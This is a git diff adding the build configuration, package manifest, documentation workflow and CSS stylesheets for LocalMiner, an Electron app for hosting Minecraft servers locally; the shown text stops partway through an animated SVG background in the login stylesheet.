diff --git a/.github/workflows/snorkell-auto-documentation.yml b/.github/workflows/snorkell-auto-documentation.yml new file mode 100644 index 0000000..b811b4c --- /dev/null +++ b/.github/workflows/snorkell-auto-documentation.yml @@ -0,0 +1,19 @@ +# This workflow will improvise current file with AI genereated documentation and Create new PR + +name: Penify - Revolutionizing Documentation on GitHub + +on: + push: + branches: ["main"] + workflow_dispatch: + +jobs: + Documentation: + runs-on: ubuntu-latest + steps: + - name: Penify DocGen Client + uses: Penify-dev/penifydocwf@v1.0.0 + with: + client_id: ${{ secrets.SNORKELL_CLIENT_ID }} + api_key: ${{ secrets.SNORKELL_API_KEY }} + branch_name: "main" \ No newline at end of file diff --git a/forge.config.js b/forge.config.js new file mode 100644 index 0000000..fa4a113 --- /dev/null +++ b/forge.config.js @@ -0,0 +1,44 @@ +const { FusesPlugin } = require('@electron-forge/plugin-fuses'); +const { FuseV1Options, FuseVersion } = require('@electron/fuses'); + +module.exports = { + packagerConfig: { + asar: true, + }, + rebuildConfig: {}, + makers: [ + { + name: '@electron-forge/maker-squirrel', + config: {}, + }, + { + name: '@electron-forge/maker-zip', + platforms: ['darwin'], + }, + { + name: '@electron-forge/maker-deb', + config: {}, + }, + { + name: '@electron-forge/maker-rpm', + config: {}, + }, + ], + plugins: [ + { + name: '@electron-forge/plugin-auto-unpack-natives', + config: {}, + }, + // Fuses are used to enable/disable various Electron functionality + // at package time, before code signing the application + new FusesPlugin({ + version: FuseVersion.V1, + [FuseV1Options.RunAsNode]: false, + [FuseV1Options.EnableCookieEncryption]: true, + [FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false, + [FuseV1Options.EnableNodeCliInspectArguments]: false, + [FuseV1Options.EnableEmbeddedAsarIntegrityValidation]: true, + [FuseV1Options.OnlyLoadAppFromAsar]: true, + }), + ], +}; diff --git a/license.md b/license.md new file mode 100644 index 0000000..91e03f7 --- /dev/null +++ b/license.md @@ -0,0 +1,5 @@ +# LocalMiner +### Host Minecraft Servers Locally +https://github.com/LocalMiner + +###### Copyrights 2021 ~ LocalMiner Team \ No newline at end of file diff --git a/logo.ico b/logo.ico new file mode 100644 index 0000000..6e3c881 Binary files /dev/null and b/logo.ico differ diff --git a/package.json b/package.json new file mode 100644 index 0000000..fa86a68 --- /dev/null +++ b/package.json @@ -0,0 +1,58 @@ +{ + "name": "LocalMiner", + "productName": "LocalMiner", + "version": "1.0.0", + "description": "LocalMiner", + "main": "src/index.js", + "author": "LENOVO", + "scripts": { + "start": "electron-forge start", + "package": "electron-forge package", + "make": "electron-forge make", + "publish": "electron-forge publish", + "lint": "echo \"No linting configured\"", + "build": "electron-builder" + }, + "build": { + "appId": "LocalMinerRun", + "win": { + "target": [ + "nsis" + ], + "icon": "logo.ico" + }, + "nsis": { + "oneClick": true, + "installerIcon": "logo.ico", + "uninstallerIcon": "logo.ico", + "uninstallDisplayName": "LocalMinerRun-uninstaller", + "license": "license.md", + "allowToChangeInstallationDirectory": false + } + }, + "devDependencies": { + "@electron-forge/cli": "^7.4.0", + "@electron-forge/maker-deb": "^7.4.0", + "@electron-forge/maker-rpm": "^7.4.0", + "@electron-forge/maker-squirrel": "^7.4.0", + "@electron-forge/maker-zip": "^7.4.0", + "@electron-forge/plugin-auto-unpack-natives": "^7.4.0", + "@electron-forge/plugin-fuses": "^7.4.0", + "@electron/fuses": "^1.8.0", + "electron": "30.0.9", + "electron-builder": "^25.0.0-alpha.9" + }, + "keywords": [], + "license": "MIT", + "dependencies": { + "discord-rpc": "^4.0.1", + "electron-dl": "^3.3.1", + "electron-localshortcut": "^3.2.1", + "electron-squirrel-startup": "^1.0.1", + "extract-zip": "^2.0.1", + "fs": "^0.0.1-security", + "jquery": "^3.7.1", + "node-fetch": "^2.6.7", + "yarn": "^1.22.19" + } +} diff --git a/src/CSS/gobal.css b/src/CSS/gobal.css new file mode 100644 index 0000000..f5ac884 --- /dev/null +++ b/src/CSS/gobal.css @@ -0,0 +1,566 @@ +@font-face { + font-family: 'Bold'; + src: url('../assets/fonts/Degular-Bold.otf') format('opentype'); + font-weight: bold; +} + +@font-face { + font-family: 'Medium'; + src: url('../assets/fonts/Degular-Medium.otf') format('opentype'); + font-weight: normal; + /* Change to normal for Medium font */ +} + +* { + margin: 0; + padding: 0; +} + +img{ + user-drag: none; + -webkit-user-drag: none; + user-select: none; + -moz-user-select: none; + -webkit-user-select: none; + -ms-user-select: none; +} + +.preloader { + background-image: linear-gradient(to bottom, #323232fb, #323232); + background-size: cover; + /* Adjust to fit the screen */ + background-repeat: no-repeat; + background-position: center center; + margin: 0px; + padding: 0px; + position: fixed; + width: 100%; + height: 100vh; + z-index: 999999; +} + +.preload { + width: 100%; + height: 100%; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; +} + +.preload>progress { + accent-color: white; + width: 50%; + opacity: 50%; +} +.pre-text{ + font-family: 'Medium'; + color: #fff; +} + +body { + background-color: #292929; +} + +.noti-box { + width: 96vw; + position: absolute; + color: #ffffffcc; + display: flex; /* Alternative centering method */ + justify-content: center; /* Centers horizontally */ + align-items: center; /* Centers vertically (if needed) */ + top: -11vh; +} + +.notification { + display: flex; + justify-content: center; /* Centers horizontally */ + align-items: center; /* Centers vertically */ + background-color: #232323; + max-width: 80vw; + height: 4vh; + padding-top: auto; + padding-bottom: auto; + border-radius: 15px; + box-shadow: 0px 10px 20px rgb(0 0 0 / 41%); +} + +.notification > p { + padding-left: 4vw; + padding-right: 4vw; + font-family: Medium; +} + + + +.main { + border-radius: 15px; + height: 85vh; + width: 96vw; + background-color: #1a1919; + position: absolute; + bottom: -31%; + left: 50%; + transform: translate(-50%, -51%); +} + + + + +.footer { + height: 5.15rem; + width: 100%; + background-color: #323232; + border-top-left-radius: 15px; + border-top-right-radius: 15px; + box-shadow: 0 -12px 8px 0 rgba(0, 0, 0, 0.066); + position: absolute; + bottom: 0px; +} + +.info { + display: flex; + justify-content: space-between; + align-items: center; + padding: 0px 2vw; + padding-top: 2.3px; + color: white; +} + + +.info>.status { + font-family: "Medium"; + line-height: 1.3em; +} + +.info>.localminer { + flex: 1; + text-align: center; + justify-content: center; + line-height: 1.3em; + margin-left: -7vw; +} + +.info>.localminer>h1 { + font-family: "Bold"; + transition: 0.3s; +} + +.info>.localminer>h1:hover { + opacity: 80%; + letter-spacing: 1px; +} + +.info>.localminer>p { + font-family: "Medium"; + /* margin-top: -10px; */ + color: rgba(255, 255, 255, 0.619); +} + +.info>.localminer>p>span { + color: rgba(255, 255, 255, 0.619); + transition: 0.3s; +} + +.info>.localminer>p>span:hover { + color: rgb(255, 255, 255); + letter-spacing: 1px; +} + + +.info>.avatar>img { + border: 2px rgba(255, 255, 255, 0.55) solid; + border-radius: 50%; + width: 50px; + transition: 0.3s; +} + +.info>.avatar>img:hover { + transform: rotate(30deg); + opacity: 70%; +} + +.progress { + height: 5px; + width: 100%; + accent-color: #FF6D00; +} + +.main-inner { + padding: 2vh; +} + +.main-info { + position: absolute; + top: 2.5rem; + left: 1.5rem; + color: white; + line-height: 1.3em; +} + +.main-info>h1 { + font-family: "Bold"; +} + +.main-info>p { + font-family: "Medium"; +} + +input, +select, +button { + width: 80%; + padding: 2vh; + margin: 2vh 0px; + -ms-box-sizing: content-box; + -moz-box-sizing: content-box; + -webkit-box-sizing: content-box; + box-sizing: content-box; + font-family: "Medium"; +} + +input[type="file"] { + display: none; +} + +.custom-file-upload { + margin: 2vh 0px; + background-color: white; + color: black; + display: inline-block; + padding: 2vh; + cursor: pointer; + width: 80%; + -ms-box-sizing: content-box; + -moz-box-sizing: content-box; + -webkit-box-sizing: content-box; + box-sizing: content-box; + font-family: "Medium"; +} + +button { + color: white; + background-color: rgb(48, 48, 48); + border: none; + transition: 0.3s; + font-family: "Bold"; + border-radius: 15px; +} + +button:hover { + opacity: 50%; + border-radius: 0px; +} + + + +.menu { + margin: 0; +} + +.inner-menu { + display: flex; + flex-direction: column; + align-items: center; +} + +.inner-menu>img { + width: 30%; + margin-bottom: 20px; + transition: 1s; +} + +.inner-menu>img:hover { + opacity: 80%; + animation: vertical-shaking 1s infinite; +} + +body:has(.inner-menu>img) .main { + transition: 0.3s; +} + +body:has(.inner-menu>img:hover) .main { + background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.619), rgb(0, 0, 0)), url("https://i.pinimg.com/originals/ce/b9/3a/ceb93a05f1a8c42573c75003e63f9526.jpg"); + background-size: cover; + /* Adjust to fit the screen */ + background-repeat: no-repeat; + background-position: center center; +} + +@keyframes vertical-shaking { + 0% { + + transform: translateY(0) + } + + 25% { + + transform: translateY(5px) + } + + 50% { + + transform: translateY(-5px) + } + + 75% { + + transform: translateY(5px) + } + + 100% { + transform: translateY(0) + } +} + +.square { + display: flex; +} + +.squarebox { + width: 10rem; + height: 10rem; + background-color: gray; + margin: 5px; + text-align: center; + /* Horizontally center */ + display: flex; + /* Create a flex container */ + justify-content: center; + /* Horizontally center flex items */ + align-items: center; + transition: 0.3s; +} + +.squarebox>img { + + max-width: 60%; + /* Ensure the image doesn't exceed the container's width */ + height: auto; + /* Maintain aspect ratio */ + opacity: 45%; + +} + +.squarebox:hover { + width: 8rem; + height: 8rem; + opacity: 40%; + transform: rotate(3deg); + border: none; +} + +.squarebox:nth-child(1) { + border-top-left-radius: 15px; + border-bottom-left-radius: 15px; +} + +.squarebox:nth-child(5) { + border-top-right-radius: 15px; + border-bottom-right-radius: 15px; +} + + + +/* Install */ +.install { + display: flex; + width: 96vw; + height: 81vh; +} + +.install-img { + background-image: url('https://i.pinimg.com/originals/20/e2/65/20e265360d6142294ce17dcc3929d9e9.gif'); + background-color: #323232; + background-size: cover; + background-position: center center; + /* Optional: Center the image */ + width: 40%; + border-top-left-radius: 15px; + border-bottom-left-radius: 15px; + margin-top: 2rem; +} + +.install-form { + margin-left: 3rem; + margin-top: 10rem; + width: 60%; + justify-content: center; +} + + +/* Run */ + +.run { + display: flex; + width: 96vw; + height: 81vh; +} + +.run-img { + background-image: url('https://i.pinimg.com/originals/90/8d/ee/908deec53fa456c6f4274714cff42a9e.png'); + background-size: cover; + background-position: center center; + background-color: #323232; + /* Optional: Center the image */ + width: 40%; + border-top-left-radius: 15px; + border-bottom-left-radius: 15px; + margin-top: 2rem; +} + +.run-form { + margin-left: 3rem; + margin-top: 10rem; + width: 60%; + justify-content: center; +} + +/* Settings */ +.settings { + display: flex; + width: 96vw; + height: 81vh; +} + +.settings-img { + background-image: url('https://i.pinimg.com/originals/d8/48/d4/d848d49cd9c1628807169efcc48f5751.gif'); + background-size: cover; + background-position: center center; + background-color: #323232; + /* Optional: Center the image */ + width: 40%; + border-top-left-radius: 15px; + border-bottom-left-radius: 15px; + margin-top: 2rem; +} + +.settings-form { + margin-left: 3rem; + margin-top: 9rem; + width: 60%; + justify-content: center; +} + +/* Console */ + +.console { + height: 81vh; +} + +.terminal { + margin-top: 2rem; + width: 100%; +} + +.terminal>input { + width: -webkit-fill-available; + background-color: rgb(48, 48, 48); + border: none; + color: #fff; +} + +pre { + overflow-x: hidden; +} + +code { + height: 60vh; + overflow-x: hidden; + overflow-y: auto; +} + +/* Plugin */ +.plugin { + height: 81vh; +} + +.searchbar { + display: flex; + justify-content: flex-end; +} + + +.searchbar > div > input[type="file"] { + display: none; +} + +.searchbar > div > .custom-file-upload { + margin: 2vh; + padding: 2px; + height: 4vh; + width: 100%; + background-color: rgb(48, 48, 48); + text-align: right; + color: #ffffff9d; +} + +.searchbar>.searchinput { + text-align: right; + width: 50%; +} + +.searchbar>.searchinput>input { + border-top-left-radius: 15px; + border-bottom-right-radius: 15px; + text-align: right; + padding: 1vh; + background-color: rgb(48, 48, 48); + color: #fff; +} + +.pluginarea { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(16rem, 1fr)); + /* Create 3 equal-width columns */ + justify-content: center; + /* Center the columns horizontally */ + gap: 20px; + overflow-y: scroll; + height: 73vh; +} + +.column { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + text-align: center; + padding: 2vh; + border-radius: 15px; + background-color: #323232; + width: 13.5rem; + height: 13.5rem; + transition: 0.3s; +} + +.column:hover { + transform: rotate(2deg); +} + +.column>img { + width: 11vh; + height: 11vh; + border-radius: 50%; + padding: 2vh; +} + +.column>p { + font-family: "Bold"; + color: #fff; +} + +.column>p:nth-child(3) { + font-family: "Bold"; + color: #ffffffbe; + font-size: 10px; +} + +.column>button { + color: white; + background-color: rgb(32, 32, 32); + border: none; + transition: 0.3s; + font-family: "Bold"; + border-radius: 15px; +} \ No newline at end of file diff --git a/src/CSS/loginStyle.css b/src/CSS/loginStyle.css new file mode 100644 index 0000000..97b34ac --- /dev/null +++ b/src/CSS/loginStyle.css @@ -0,0 +1,1697 @@ +html, +body, +div, +span, +applet, +object, +iframe, +h1, +h2, +h3, +h4, +h5, +h6, +p, +blockquote, +pre, +a, +abbr, +acronym, +address, +big, +cite, +code, +del, +dfn, +em, +img, +ins, +kbd, +q, +s, +samp, +small, +strike, +strong, +sub, +sup, +tt, +var, +b, +u, +i, +center, +dl, +dt, +dd, +ol, +ul, +li, +fieldset, +form, +label, +legend, +table, +caption, +tbody, +tfoot, +thead, +tr, +th, +td, +article, +aside, +canvas, +details, +embed, +figure, +figcaption, +footer, +header, +hgroup, +menu, +nav, +output, +ruby, +section, +summary, +time, +mark, +audio, +video { + margin: 0; + padding: 0; + border: 0; + font-size: 100%; + font: inherit; + vertical-align: baseline; +} + +article, +aside, +details, +figcaption, +figure, +footer, +header, +hgroup, +menu, +nav, +section { + display: block; +} + +body { + line-height: 1; +} + +ol, +ul { + list-style: none; +} + +blockquote, +q { + quotes: none; +} + +blockquote:before, +blockquote:after, +q:before, +q:after { + content: ''; + content: none; +} + +table { + border-collapse: collapse; + border-spacing: 0; +} + +body { + -webkit-text-size-adjust: none +} + +mark { + background-color: transparent; + color: inherit +} + +input::-moz-focus-inner { + border: 0; + padding: 0 +} + +input[type="text"], +input[type="email"], +select, +textarea { + -moz-appearance: none; + -webkit-appearance: none; + -ms-appearance: none; + appearance: none +} + +*, +*:before, +*:after { + box-sizing: border-box; +} + +body { + line-height: 1.0; + min-height: var(--viewport-height); + min-width: 320px; + overflow-x: hidden; + word-wrap: break-word; +} + +#bg:before { + content: ''; + display: block; + height: 100%; + left: 0; + position: absolute; + top: 0; + width: 100%; + z-index: 1; + background-image: url('data:image/svg+xml;charset=utf8,%3Csvg%20width%3D%22640%22%20height%3D%22480%22%20viewBox%3D%220%200%20640%20480%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20preserveAspectRatio%3D%22none%22%3E%20%3Cstyle%20type%3D%22text%2Fcss%22%3E%20line%20%7B%20stroke%3A%20rgba(255,255,255,0.078)%3B%20stroke-width%3A%204.01px%3B%20stroke-linecap%3A%20round%3B%20vector-effect%3A%20non-scaling-stroke%3B%20%7D%20%3C%2Fstyle%3E%20%3Cline%20x1%3D%226.0784%22%20y1%3D%22379.1313%22%20x2%3D%22-1.3332%22%20y2%3D%22382.4162%22%20stroke-opacity%3D%220%22%20%2F%3E%20%3Cline%20x1%3D%22107.7666%22%20y1%3D%22109.9161%22%20x2%3D%22121.3879%22%20y2%3D%22118.2649%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22107.7666%3B92.1393%3B74.0278%3B52.7885%3B27.5346%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%3B-2.9909%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22109.9161%3B100.3377%3B89.2366%3B76.2184%3B60.7396%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%3B42.0296%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22121.3879%3B107.7666%3B92.1393%3B74.0278%3B52.7885%3B27.5346%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%3B-3.6745%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22118.2649%3B109.9161%3B100.3377%3B89.2366%3B76.2184%3B60.7396%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%3B41.6106%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22128.6148%22%20y1%3D%22219.0634%22%20x2%3D%22140.7586%22%20y2%3D%22220.3919%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22128.6148%3B114.7059%3B98.6169%3B79.7917%3B57.4673%3B30.5682%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%3B-2.4723%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22219.0634%3B217.5419%3B215.7818%3B213.7224%3B211.2803%3B208.3376%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%3B204.7232%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22140.7586%3B128.6148%3B114.7059%3B98.6169%3B79.7917%3B57.4673%3B30.5682%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%3B-4.3599%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22220.3919%3B219.0634%3B217.5419%3B215.7818%3B213.7224%3B211.2803%3B208.3376%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%3B204.5167%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22432.2645%22%20y1%3D%22158.9627%22%20x2%3D%22422.6169%22%20y2%3D%22165.9267%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22432.2645%3B443.9144%3B458.262%3B476.3673%3B499.9289%3B531.8507%3B577.5421%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%3B648.3625%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22158.9627%3B150.5533%3B140.1966%3B127.1274%3B110.1197%3B87.0771%3B54.0951%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%3B2.9739%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22422.6169%3B432.2645%3B443.9144%3B458.262%3B476.3673%3B499.9289%3B531.8507%3B577.5421%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%3B655.4907%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22165.9267%3B158.9627%3B150.5533%3B140.1966%3B127.1274%3B110.1197%3B87.0771%3B54.0951%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%3B-2.1715%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22601.4977%22%20y1%3D%22178.0974%22%20x2%3D%22596.0526%22%20y2%3D%22179.2948%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22601.4977%3B616.5421%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%3B633.2853%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22178.0974%3B174.7891%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%3B171.1071%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22596.0526%3B601.4977%3B616.5421%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%3B640.5372%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22179.2948%3B178.0974%3B174.7891%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%3B169.5124%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22522.1007%22%20y1%3D%2261.4306%22%20x2%3D%22510.5698%22%20y2%3D%2271.6189%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22522.1007%3B535.1169%3B549.9252%3B566.9229%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%3B586.6345%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2261.4306%3B49.9298%3B36.8458%3B21.8271%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%3B4.4107%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22510.5698%3B522.1007%3B535.1169%3B549.9252%3B566.9229%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%3B593.453%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%2271.6189%3B61.4306%3B49.9298%3B36.8458%3B21.8271%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%3B-1.614%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22638.2348%22%20y1%3D%22449.1655%22%20x2%3D%22616.2781%22%20y2%3D%22434.7341%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22616.2781%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%3B641.6858%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22434.7341%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%3B451.4337%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%22%20%2F%3E%20%3C%2Fline%3E%20%3Cline%20x1%3D%22391.6578%22%20y1%3D%22395.7648%22%20x2%3D%22387.8272%22%20y2%3D%22387.438%22%20stroke-opacity%3D%221%22%3E%20%3Canimate%20attributeName%3D%22x1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22391.6578%3B395.947%3B400.7824%3B406.2754%3B412.5698%3B419.855%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%3B428.3849%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y1%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22395.7648%3B405.0883%3B415.5991%3B427.5394%3B441.2218%3B457.0579%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%3B475.5995%22%20%2F%3E%20%3Canimate%20attributeName%3D%22x2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22387.8272%3B391.6578%3B395.947%3B400.7824%3B406.2754%3B412.5698%3B419.855%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%3B431.2868%22%20%2F%3E%20%3Canimate%20attributeName%3D%22y2%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%22387.438%3B395.7648%3B405.0883%3B415.5991%3B427.5394%3B441.2218%3B457.0579%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%3B481.9074%22%20%2F%3E%20%3Canimate%20attributeName%3D%22stroke-opacity%22%20dur%3D%222s%22%20repeatCount%3D%22indefinite%22%20values%3D%221%3B1%3B1%3B1%3B1%3B1%3B1%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0%3B0